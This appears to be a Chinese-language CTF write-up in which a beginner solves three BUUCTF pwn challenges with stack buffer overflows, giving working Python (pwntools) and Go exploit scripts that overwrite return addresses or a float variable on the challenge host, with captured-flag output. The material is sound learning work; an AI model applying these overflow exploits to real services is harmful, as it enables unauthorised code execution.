声明:

我不会pwn, 也没有任何基础

这是我闲着没事随便找pwn题玩的

所以难免会有一些不准确的知识会误导您

buuctf - pwn - rip

再次叠甲 写这题的时候啥也不会

看了一眼栈溢出原理

这这个题目与演示的demo一模一样

所以

比葫芦画瓢

该字符串距离 rbp 的长度为 0xf
image-20250805225635205

那么相应的栈结构为

1
2
3
4
5
6
7
8
9
10
11
12
             +-----------------+
| retaddr | <-- 返回地址(return address)
+-----------------+
| saved rbp | <-- 保存的基址寄存器(RBP)
rbp--->+-----------------+
| | <-- 局部变量 / 临时空间(向低地址)
| |
| |
| |
| |
| |
s,rbp-0xf -->+-----------------+

后门函数是fun 可以在ida 中看到fun的地址0x401186

image-20250805230025646

那么如果我们读取的字符串为0xf * 'a' + 'b' * 8 + fun_addr

由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved rbp 覆盖为 bbbbbbbb,将 retaddr 覆盖为 func_addr

1
2
3
4
5
6
7
8
9
10
11
12
             +-----------------+
| 0x401186 |
+-----------------+
| bbbbbbbb |
rbp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0xf -->+-----------------+

ok 现在直接拿ctf WIKI上面的代码来打

1
2
3
4
5
6
7
8
9
10
11
12
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = remote("node5.buuoj.cn",27268)
success_addr = 0x401187
## 构造payload
payload = b'a' * 0xf + b'v' * 8 + p64(success_addr)
print(p64(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

image-20250805231109728

我将success_addr 设置为 0x401186的时候 打不通

听朋友说要栈对齐 ,反正我现在是不懂这是啥玩意

做法就是

p64(success_addr)前面随便加上一个return的地址

那么修改后的代码就是这样子的

1
2
3
4
5
6
7
8
9
10
11
12
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = remote("node5.buuoj.cn",27268)
success_addr = 0x401186
## 构造payload
payload = b'a' * 0xf + b'v' * 8 + p64(0x401185) +p64(success_addr)
print(p64(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

确实也能打通

image-20250805231443952

另外

题外事

我闲着没事干将exp用go写了一下

下面是源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main

import (
"bytes"
"encoding/binary"
"fmt"
"net"
"os"
"io"
)


func main(){

r, err := net.Dial("tcp","node5.buuoj.cn:27268")

if err != nil{
fmt.Println(err)
}

fmt.Println("Success connect to our Target")
defer r.Close()
funcAddr := uint64(0x401187)

payload := bytes.Repeat([]byte("a"),0xf)
payload = append(payload,bytes.Repeat([]byte("a"),8)...)
addrBuf := new(bytes.Buffer)
err = binary.Write(addrBuf, binary.LittleEndian, funcAddr)
if err != nil {
fmt.Println(err)
}
payload = append(payload,addrBuf.Bytes()...)
fmt.Println("Our payload is ==> ",payload)
r.Write(payload)
r.Write([]byte("\n"))

fmt.Println("Try to input some Command")
go io.Copy(r, os.Stdin)
io.Copy(os.Stdout, r)

}

确实也能打通

image-20250805231656249

buuctf - pwn - warmup_csaw_2016

这个题目和上面这个rip一样 都是一个很简单的栈溢出

使用gets 像v5中存入数据 v5 rbp 的长度为 0x40

image-20250806113319768

刚开始会将sub_40060D的地址打印出来

改函数会直接执行cat flag.txt

image-20250806113441337

ok , 还是用昨天的exp

将昨天的exp修改一下

1
2
3
4
5
6
7
8
9
10
11
yliken@yliken-virtual-machine:~/Desktop/pwn$ cp pwn1.py warmup_csaw_2016.py
yliken@yliken-virtual-machine:~/Desktop/pwn$ vim warmup_csaw_2016.py
yliken@yliken-virtual-machine:~/Desktop/pwn$ python3 warmup_csaw_2016.py
[+] Opening connection to node5.buuoj.cn on port 25895: Done
b'\r\x06@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
-Warm Up-
WOW:0x40060d
>flag{4319e3b5-xxx-xxxx-xxxx-0e1842b5277d}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive
1
2
3
4
5
6
7
8
9
10
11
12
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = remote("node5.buuoj.cn",25895)
success_addr = 0x40060d
## 构造payload
payload = b'a' * 0x40 + b'v' * 8 +p64(success_addr)
print(p64(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main

import (
"bytes"
"encoding/binary"
"fmt"
"net"
"os"
"io"
)


func main(){

r, err := net.Dial("tcp","node5.buuoj.cn:25895")

if err != nil{
fmt.Println(err)
}

fmt.Println("Success connect to our Target")
defer r.Close()
funcAddr := uint64(0x40060E)

payload := bytes.Repeat([]byte("a"),0x40)
payload = append(payload,bytes.Repeat([]byte("a"),8)...)
addrBuf := new(bytes.Buffer)
err = binary.Write(addrBuf, binary.LittleEndian, funcAddr)
if err != nil {
fmt.Println(err)
}
payload = append(payload,addrBuf.Bytes()...)
fmt.Println("Our payload is ==> ",payload)
r.Write(payload)
r.Write([]byte("\n"))

fmt.Println("Try to input some Command")
go io.Copy(r, os.Stdin)
io.Copy(os.Stdout, r)

}
1
2
3
4
5
6
7
8
9
yliken@yliken-virtual-machine:~/Desktop/pwn$ cp pwn1.go  warmup_csaw_2016.go
yliken@yliken-virtual-machine:~/Desktop/pwn$ vim warmup_csaw_2016.go
yliken@yliken-virtual-machine:~/Desktop/pwn$ go run warmup_csaw_2016.go
Success connect to our Target
Our payload is ==> [97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 97 14 6 64 0 0 0 0 0]
Try to input some Command
-Warm Up-
WOW:0x40060d
>flag{4319e3b5-xxx-xxxxx-91f2-0e1842b5277d}

ciscn_2019_n_1

亦是栈溢出

用gets录入v1变量

然后判断v2的值是否为11.28125

如果v2的值为11.28125,则执行system(“cat /flag”)命令

image-20250808221148377

在栈上面v1占的位置是 0x04 ~ 0x30v2占的未知是0x00~0x04

栈的内存布局(低地址在下,高地址在上)大概是:

1
2
3
[高地址]  v2 (4字节, float)
v1 (44字节, char数组)
[低地址]

所以我们输入44字节数据 然后在输入 4字节值为11.28125的浮点数 将v2覆盖成11.28125

那么exp

1
2
3
4
5
6
7
8
9
10
11
12
13
yliken@yliken-virtual-machine:~/Desktop/pwn$ cat ciscn_2019_n_1.py 
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = remote("node5.buuoj.cn",29809)
target_value = struct.pack("<f", 11.28125)
## 构造payload
payload = b'a' * 44 + target_value
print(payload)
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()

image-20250808221703728

闲着没事

依旧用Go重写一遍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package main

import (
"bytes"
"encoding/binary"
"fmt"
"io"
"math"
"net"
"os"
)

/*
need
a * 44
and
v2 = 11.28125
*/
func main(){
target := "node5.buuoj.cn:29809"
conn,err := net.Dial("tcp",target)
if err != nil {
fmt.Println(err)
}

defer conn.Close()
fmt.Println("Successfully connect to the Target")
payload := bytes.Repeat([]byte("a"),44)
buf := make([]byte, 4)
binary.LittleEndian.PutUint32(buf, math.Float32bits(11.28125))
payload = append(payload,buf...)
fmt.Println("Our Payload is ==> ", payload)
conn.Write(payload)
conn.Write([]byte("\n"))
go io.Copy(conn,os.Stdin)
io.Copy(os.Stdout,conn)
}

35483a66-41f1-45c6-81ff-5a2a47c4c4cc